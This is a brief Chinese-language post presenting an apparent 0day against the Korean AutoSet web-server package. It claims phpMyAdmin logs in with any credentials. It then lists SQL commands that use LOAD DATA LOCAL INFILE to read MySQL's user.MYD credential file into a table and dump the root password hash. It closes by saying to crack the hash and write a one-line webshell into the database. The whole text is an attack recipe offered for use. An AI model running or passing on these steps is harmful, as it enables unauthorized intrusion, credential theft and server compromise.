韩国AutoSet建站程序漏洞0day

任意用户名密码登录

phpmyadmin登录账号密码随意输入登录

select @@basedir; //查看Mysql路径  CREATE TABLE `test` ( `c` varchar(255) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 //建立test用户和test表  LOAD DATA LOCAL INFILE 'C://AutoSet9//server//MySQL5//data//mysql//user.MYD' INTO TABLE test fields  terminated by '' LINES TERMINATED BY '/0';   //user.myd的数据导入到test表  select * from test;  //读取test表内容，得到root 的md5

破解root密码,导入一句话到数据库